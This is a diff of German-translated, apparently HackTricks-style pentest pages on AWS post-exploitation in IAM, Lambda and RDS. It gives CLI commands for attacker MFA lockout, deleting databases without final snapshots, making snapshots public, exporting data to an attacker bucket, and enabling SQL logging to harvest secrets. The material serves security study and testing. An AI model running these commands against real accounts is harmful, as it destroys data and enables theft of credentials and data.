Dieser Denial-of-access-Angriff funktioniert nur, wenn der user zuvor kein MFA registriert hatte; registriert der attacker ein MFA device für diesen user, wird der legitime user von allen Flows ausgesperrt, die dieses neue MFA erfordern. Hat der user bereits ein oder mehrere MFA devices unter seiner Kontrolle, blockiert das Hinzufügen eines attacker-controlled MFA den legitimen user nicht — er kann sich weiterhin mit jedem MFA authentifizieren, das er bereits besitzt.
|
||||
|
||||
Um ein MFA device für einen user zu aktivieren (registrieren), könnte ein attacker folgenden Befehl ausführen:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
|
||||
@@ -4,29 +4,35 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
### Lambda Credentials exfiltrieren
|
||||
|
||||
Lambda verwendet Umgebungsvariablen, um Credentials zur Laufzeit zu injizieren. Wenn Sie Zugriff auf diese erhalten (durch Lesen von `/proc/self/environ` oder durch Verwendung der verwundbaren Funktion selbst), können Sie sie selbst nutzen. Sie befinden sich in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` und `AWS_ACCESS_KEY_ID`.
|
||||
Lambda verwendet Umgebungsvariablen, um Credentials zur Laufzeit zu injizieren. Wenn Sie Zugriff auf diese erhalten können (z. B. durch Lesen von `/proc/self/environ` oder durch Ausführen der verwundbaren Funktion selbst), können Sie sie selbst verwenden. Sie liegen in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` und `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
|
||||
Standardmäßig haben diese Zugang, um in eine cloudwatch log group zu schreiben (deren Name in `AWS_LAMBDA_LOG_GROUP_NAME` gespeichert ist), sowie zum Erstellen beliebiger log groups; allerdings haben Lambda functions häufig zusätzliche Berechtigungen, die anhand ihrer vorgesehenen Nutzung zugewiesen werden.
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### `lambda:Delete*`
|
||||
Ein Angreifer, dem `lambda:Delete*` gewährt wurde, kann Lambda functions, versions/aliases, layers, event source mappings und andere zugehörige Konfigurationen löschen.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Andere Lambda-URL-Anfragen stehlen
|
||||
|
||||
Wenn ein Angreifer es schafft, RCE in einer Lambda zu erlangen, kann er HTTP-Requests anderer Benutzer an die Lambda abgreifen. Enthalten die Requests sensible Informationen (Cookies, Zugangsdaten ...), kann er diese stehlen.
|
||||
Wenn ein Angreifer es schafft, RCE innerhalb einer Lambda-Funktion zu erlangen, kann er HTTP-Anfragen anderer Benutzer an die Lambda-Funktion stehlen. Enthalten die Anfragen sensible Informationen (Cookies, Zugangsdaten...), kann er diese auslesen.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Andere Lambda-URL- und Extensions-Anfragen stehlen
|
||||
|
||||
Durch Missbrauch von Lambda Layers ist es außerdem möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben, sowie Requests zu stehlen und zu verändern.
|
||||
Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu missbrauchen und in der Lambda-Funktion persistierend zu bleiben sowie Anfragen zu stehlen und zu verändern.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +40,7 @@ Durch Missbrauch von Lambda Layers ist es außerdem möglich, Extensions zu miss
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Zwinge eine Lambda-Funktion aus einem eingeschränkten VPC, indem du ihre Konfiguration mit einer leeren VpcConfig aktualisierst (SubnetIds=[], SecurityGroupIds=[]). Die Funktion läuft dann im Lambda-verwalteten Netzwerkbereich, erlangt wieder ausgehenden Internetzugang und umgeht dadurch Egress-Kontrollen, die durch private VPC-Subnets ohne NAT durchgesetzt werden.
|
||||
Eine Lambda-Funktion aus einer eingeschränkten VPC zwingen, indem man ihre Konfiguration mit einer leeren VpcConfig (SubnetIds=[], SecurityGroupIds=[]) aktualisiert. Die Funktion läuft dann in der Lambda-managed networking plane, erlangt wieder ausgehenden Internetzugang und umgeht Egress-Kontrollen, die von privaten VPC-Subnets ohne NAT durchgesetzt werden.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Missbrauche `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu binden (Manual) oder Updates einzufrieren (FunctionUpdate). Das bewahrt die Kompatibilität mit bösartigen Layers/Wrappers und kann die Funktion auf einer veralteten, verwundbaren Runtime halten, um Exploits und langfristige Persistenz zu erleichtern.
|
||||
Missbrauchen Sie `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu binden (Manual) oder Updates einzufrieren (FunctionUpdate). Dies erhält die Kompatibilität mit bösartigen layers/wrappers und kann die Funktion auf einer veralteten, verwundbaren Runtime halten, um Ausnutzung und langfristige Persistenz zu erleichtern.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Missbrauche die erweiterten Logging-Kontrollen von `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs log group umzuleiten. Das funktioniert ohne Code- oder Execution-Role-Änderungen (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Wenn die Funktion Secrets/Request-Bodies ausgibt oder mit Stacktraces abstürzt, kannst du diese aus der neuen Log-Gruppe sammeln.
|
||||
Missbrauchen Sie `lambda:UpdateFunctionConfiguration` erweiterte Logging-Kontrollen, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs Log-Gruppe umzuleiten. Dies funktioniert, ohne Code oder die execution role zu ändern (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` über `AWSLambdaBasicExecutionRole`). Wenn die Funktion Geheimnisse/Request-Bodies ausgibt oder mit Stacktraces abstürzt, können Sie diese aus der neuen Log-Gruppe sammeln.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Mache eine private Lambda Function URL zu einem öffentlichen, unauthentifizierten Endpoint, indem du den Function URL AuthType auf NONE setzt und eine resource-based policy anhängst, die lambda:InvokeFunctionUrl für alle erlaubt. Dadurch wird anonyme Invocation interner Funktionen möglich und sensible Backend-Operationen können offengelegt werden.
|
||||
Machen Sie eine private Lambda Function URL zu einem öffentlichen, nicht authentifizierten Endpunkt, indem Sie den Function URL AuthType auf NONE setzen und eine resource-based policy anhängen, die lambda:InvokeFunctionUrl an alle gewährt. Dies ermöglicht anonyme Aufrufe interner Funktionen und kann sensible Backend-Operationen offenlegen.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Missbrauche `UpdateEventSourceMapping`, um das Ziel einer vorhandenen Event Source Mapping (ESM) zu ändern, sodass Datensätze aus DynamoDB Streams, Kinesis oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies leitet Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu verändern.
|
||||
Missbrauchen Sie `UpdateEventSourceMapping`, um die Ziel-Lambda-Funktion einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Datensätze aus DynamoDB Streams, Kinesis oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies lenkt Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu berühren.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Missbrauche `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deploye dann trivialen Code, der Dateien vom gemounteten Pfad auflistet/liest, um geteilte Secrets/Configs zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
|
||||
Missbrauchen Sie `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda-Funktion anzuhängen, und deployen Sie dann trivialen Code, der Dateien aus dem eingebundenen Pfad auflistet/liest, um gemeinsam genutzte Geheimnisse/Konfiguration zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Wenn der attacker genügend Berechtigungen hat, kann er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und daraus eine öffentlich zugängliche DB wiederherstellt.
|
||||
Wenn der Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus diesem Snapshot wiederherstellt.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -38,11 +38,47 @@ aws rds modify-db-instance \
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Ein Angreifer mit rds:StopDBCluster oder rds:StopDBInstance kann das sofortige Stoppen einer RDS instance oder eines gesamten Clusters erzwingen, was zu Datenbankausfällen, unterbrochenen Verbindungen und zur Unterbrechung von Prozessen führt, die von der Datenbank abhängen.
|
||||
|
||||
Um eine einzelne DB instance zu stoppen (Beispiel):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Um einen gesamten DB-Cluster zu stoppen (Beispiel):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Ein Angreifer, dem `rds:Delete*` gewährt wurde, kann RDS-Ressourcen entfernen — DB-Instanzen, Cluster, Snapshots, automatisierte Backups, Subnetzgruppen, Parameter-/Optionsgruppen und zugehörige Artefakte — und dadurch sofortige Serviceunterbrechungen, Datenverlust, Zerstörung von Wiederherstellungspunkten und Verlust forensischer Beweise verursachen.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Anschließend könnte er einfach in seinem eigenen Account eine DB aus diesem Snapshot erstellen.
|
||||
Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Dann könnte er in seinem eigenen Konto einfach aus diesem Snapshot eine DB erstellen.
|
||||
|
||||
Wenn der Angreifer **nicht über `rds:CreateDBSnapshot`** verfügt, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
|
||||
Hat der Angreifer **nicht die `rds:CreateDBSnapshot`**, kann er trotzdem **andere** erstellte Snapshots **öffentlich** machen.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,45 +89,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.
|
||||
Ein attacker mit der `rds:DownloadDBLogFilePortion` Berechtigung kann **Teile der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der attacker diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
|
||||
**Potentielle Auswirkungen**: Zugriff auf sensible Informationen oder unbefugte Aktionen durch Verwendung von leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **DoS bestehender RDS-Instanzen**.
|
||||
Ein Angreifer mit diesen Berechtigungen kann **DoS bestehende RDS-Instanzen**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potentielle Auswirkung**: Löschen bestehender RDS-Instanzen und möglicher Datenverlust.
|
||||
**Mögliche Auswirkungen**: Löschung bestehender RDS-Instanzen und möglicher Datenverlust.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testen
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er möglicherweise auf sensible Daten im exportierten Snapshot zugreifen.
|
||||
Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten innerhalb des exportierten Snapshots zugreifen.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: Zugriff auf sensible Daten in dem exportierten Snapshot.
|
||||
**Potentielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot.
|
||||
|
||||
### Replikation automatisierter Backups in eine andere Region für unauffälligen Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Regionenübergreifende Replikation automatisierter Backups für unauffällige Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Missbrauche die Replikation automatischer Backups über Regionen, um die automatischen Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Betriebs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
|
||||
Missbrauche die regionsübergreifende Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instance heimlich in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB anschließend öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des regulären Überwachungsbereichs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
|
||||
|
||||
Benötigte Berechtigungen (mindestens):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region
|
||||
- `rds:ModifyDBInstance` in der Ziel-Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zu öffnen)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional, zur Bereinigung)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zugänglich zu machen)
|
||||
|
||||
Auswirkung: Persistenz und data exfiltration durch Wiederherstellung einer Kopie von Produktionsdaten in eine andere Region und öffentliche Freigabe mit von Angreifern kontrollierten Zugangsdaten.
|
||||
Auswirkung: Persistenz und Datenexfiltration durch das Wiederherstellen einer Kopie von Produktionsdaten in einer anderen Region und das öffentliche Zugänglichmachen mit vom Angreifer kontrollierten Zugangsdaten.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (Platzhalter ersetzen)</summary>
|
||||
@@ -163,25 +199,25 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren
|
||||
### Aktiviere vollständiges SQL-Logging über DB-Parametergruppen und exfiltriere über RDS-Log-APIs
|
||||
|
||||
Missbrauchen Sie `rds:ModifyDBParameterGroup` zusammen mit den RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Credentials erforderlich). Aktivieren Sie das SQL-Logging der Engine und laden Sie die Logdateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder die REST-Funktion `downloadCompleteLogFile`) herunter. Nützlich, um Queries zu sammeln, die Secrets/PII/JWTs enthalten könnten.
|
||||
Missbrauche `rds:ModifyDBParameterGroup` zusammen mit den RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Zugangsdaten erforderlich). Aktiviere das SQL-Logging der Engine und lade die Logdateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` herunter (oder die REST-Funktion `downloadCompleteLogFile`). Nützlich, um Abfragen zu sammeln, die Geheimnisse/PII/JWTs enthalten können.
|
||||
|
||||
Erforderliche Berechtigungen (mindestens):
|
||||
Benötigte Berechtigungen (mindestens):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (nur, um eine benutzerdefinierte Parametergruppe anzuhängen, falls die Instanz die Standardgruppe verwendet)
|
||||
- `rds:RebootDBInstance` (für Parameter, die einen Reboot benötigen, z.B. PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (nur zum Anhängen einer benutzerdefinierten Parametergruppe, falls die Instanz die Standard-Parametergruppe verwendet)
|
||||
- `rds:RebootDBInstance` (für Parameter, die einen Reboot erfordern, z. B. PostgreSQL)
|
||||
|
||||
Schritte
|
||||
1) Recon des Ziels und der aktuellen Parametergruppe
|
||||
1) Recon das Ziel und die aktuelle Parametergruppe
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Stelle sicher, dass eine benutzerdefinierte DB parameter group angehängt ist (das Default kann nicht bearbeitet werden)
|
||||
- Wenn die Instance bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
|
||||
2) Stelle sicher, dass eine custom DB parameter group angehängt ist (das default kann nicht bearbeitet werden)
|
||||
- Wenn die instance bereits eine custom group verwendet, verwende ihren Namen im nächsten Schritt.
|
||||
- Andernfalls erstelle und hänge eine an, die zur engine family passt:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
@@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (Neustart erforderlich):
|
||||
- PostgreSQL-Engines (Neustart erforderlich):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Lass den Workload laufen (oder generiere Queries). Statements werden in die Engine-Datei-Logs geschrieben
|
||||
4) Workload laufen lassen (oder Abfragen erzeugen). Statements werden in die engine file logs geschrieben
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Entdecke und lade die Logs herunter (keine DB creds erforderlich)
|
||||
5) Logs entdecken und herunterladen (keine DB creds erforderlich)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -239,14 +275,14 @@ aws rds download-db-log-file-portion \
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Beispielbelege (geschwärzt):
|
||||
Beispielhafte Beweismittel (geschwärzt):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Aufräumen
|
||||
- Parameter auf Standardwerte zurücksetzen und bei Bedarf neu starten:
|
||||
Bereinigung
|
||||
- Parameter auf die Standardwerte zurücksetzen und bei Bedarf neu starten:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen über AWS APIs (no DB creds), potenziell leaking secrets, JWTs, and PII.
|
||||
Auswirkung: Post-exploitation-Datenzugriff durch Abfangen aller Anwendungs-SQL-Statements über AWS APIs (keine DB creds), potenziell leaking von secrets, JWTs und PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS read replicas missbrauchen, um out-of-band Lesezugriff zu erhalten, ohne die Credentials der primary instance zu berühren. Ein Angreifer kann eine read replica von einer production instance erstellen, das replica's master password zurücksetzen (dies ändert das primary nicht) und die replica optional öffentlich exponieren, um Daten zu exfiltrieren.
|
||||
Missbrauch von RDS read replicas, um Out-of-band-Lesezugriff zu erhalten, ohne die Zugangsdaten der primary instance zu berühren. Ein Angreifer kann eine read replica von einer Produktionsinstanz erstellen, das master password der replica zurücksetzen (dies ändert das primary nicht) und optional die replica öffentlich machen, um Daten zu exfiltrieren.
|
||||
|
||||
Benötigte Berechtigungen (mindestens):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (falls öffentlich exponiert)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (wenn öffentlich exponiert)
|
||||
|
||||
Auswirkung: Read-only access auf Produktionsdaten über eine replica mit attacker-controlled credentials; geringere Erkennungswahrscheinlichkeit, da das primary unberührt bleibt und die Replikation fortgesetzt wird.
|
||||
Auswirkung: Lesezugriff auf Produktionsdaten über eine replica mit vom Angreifer kontrollierten credentials; geringere Erkennungswahrscheinlichkeit, da das primary unberührt bleibt und die Replikation weiterläuft.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -304,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Beispielhafte Hinweise (MySQL):
|
||||
- Replica-DB-Status: `available`, Lesereplikation: `replicating`
|
||||
- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die den Lesezugriff auf die Replica bestätigt.
|
||||
Beispielnachweis (MySQL):
|
||||
- Status der Replica-DB: `available`, Lese-Replikation: `replicating`
|
||||
- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die schreibgeschützten Zugriff auf die Replica bestätigt.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte green-Umgebung zu klonen. Anschließend die Master-Zugangsdaten der green-Umgebung zurücksetzen, um auf die Daten zuzugreifen, ohne die blue (prod)-Instanz zu berühren. Das ist unauffälliger als die Freigabe von Snapshots und umgeht häufig Monitoring, das sich nur auf die Quelle konzentriert.
|
||||
RDS Blue/Green ausnutzen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte green-Umgebung zu klonen. Danach die Green-Master-Zugangsdaten zurücksetzen, um auf die Daten zuzugreifen, ohne die Blue-(prod-)Instanz zu berühren. Das ist unauffälliger als das Teilen von Snapshots und umgeht oft Monitoring, das nur auf die Quelle fokussiert ist.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,22 +393,21 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Auswirkung: Nur-Lesezugriff, jedoch vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktionsumgebung, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenextraktion und Offline-Analyse.
|
||||
|
||||
Auswirkung: Lesezugriff, aber vollständiger Datenzugriff auf einen nahezu-Echtzeit-Klon der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenerfassung und Offline-Analyse.
|
||||
|
||||
### Out-of-band SQL via RDS Data API durch Aktivieren des HTTP-Endpunkts + Zurücksetzen des Master-Passworts
|
||||
|
||||
Missbrauche Aurora, um den RDS Data API HTTP-Endpunkt in einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
|
||||
